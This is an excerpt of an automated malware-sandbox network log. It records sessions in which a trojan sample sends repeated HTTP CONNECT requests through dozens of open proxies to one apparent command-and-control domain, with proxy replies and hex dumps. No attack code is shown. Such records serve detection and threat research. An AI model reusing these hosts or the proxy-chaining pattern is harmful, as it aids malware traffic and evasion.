Feb 23, 2024 14:28:23.223890066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.313462973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	49874	141.148.63.29	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.226125002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.382270098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382989883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.383131027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.382406950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:59.397891998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.307056904 CET	839	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:29:04 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 647 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 6c 69 6e 74 61 6c 65 78 61 6e 64 65 72 34 40 68 6f 74 6d 61 69 6c 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at clintalexander4@hotmail.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.58 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	50591	13.37.59.99	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.226649046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.394805908 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	50590	107.181.141.70	6467	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.228873014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.474392891 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.8	50438	156.67.217.159	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.229108095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.913500071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.241667032 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.8	50397	103.169.130.17	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.235740900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.979407072 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.8	50656	5.161.98.204	11232	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.235970974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.538471937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.851028919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.460536003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.679132938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.8	50480	46.51.249.135	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.236124039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.538857937 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/plain X-Powered-By: ASP.NET Server: squid/3.5.28 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.8	50407	183.89.40.232	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.244565010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.8	50662	172.64.152.98	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.246634007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.334444046 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.8	50604	104.238.111.107	15419	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.249986887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.8	50601	82.113.157.122	31280	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.251710892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.8	50449	116.199.170.17	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.252423048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.8	50780	43.157.32.241	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.257843018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.8	50783	43.157.32.241	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.259448051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.8	50786	43.157.32.241	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.260976076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.8	50607	72.210.208.101	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.266474962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.8	50689	104.16.108.204	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.267165899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.354441881 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.8	50564	8.213.128.6	11	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.283550024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.575722933 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.8	50586	20.204.190.254	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.293545961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.637346029 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.8	50700	54.39.50.68	20132	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.299905062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.616597891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.944755077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.8	50633	185.225.232.191	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.303829908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.291707993 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:26 GMT Server: Apache/2.4.57 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.8	50750	104.18.81.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.315983057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.403827906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.8	50567	47.250.46.217	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.318078995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.991590977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.960374117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882678032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.882755995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.8	49887	98.188.47.132	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.329822063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.8	50764	104.23.107.172	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.332444906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
